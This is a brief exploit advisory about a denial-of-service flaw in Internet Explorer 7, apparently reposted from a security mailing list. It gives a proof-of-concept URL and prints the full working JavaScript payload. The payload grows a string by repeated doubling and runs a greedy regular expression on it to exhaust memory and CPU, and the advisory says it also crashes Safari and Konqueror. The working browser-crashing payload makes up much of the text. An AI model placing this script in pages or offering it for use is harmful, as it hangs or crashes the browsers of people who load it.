ie7-dos.txt

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Product: Internet Explorer Version 7.0.5730.11  
Impact: Browser crash possibly more  
Author: Jesus Oquendo  
echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'  
  
  
I. BACKGROUND  
Why bother? Who doesn't know what Internet Explorer and Microsoft are.  
  
II. DESCRIPTION  
IE 7 is vulnerable to a script which causes the browser to hang. The  
memory and CPU usage go through the roof. Originally the script caused  
(and still causes) Safari and Konqueror to crash.  
  
III SOLUTION  
Stop using Microsoft products or deal with a new advisory every other  
day.  
  
IV. Proof  
http://www.infiltrated.net/stupidInternetExploder.html  
  
V. Code  
  
$ more /stupidInternetExploder.html  
  
<script>  
  
var reg = /(.)*/;  
  
var z = 'Z';  
while (z.length <=   
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999  
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999  
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999  
99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999  
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999) z+=z;  
var boum = reg.exec(z);  
  
</script>  
  
Goodbye  
  
  
J. Oquendo  
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743  
sil . infiltrated @ net http://www.infiltrated.net   
  
The happiness of society is the end of government.  
John Adams  
  
  
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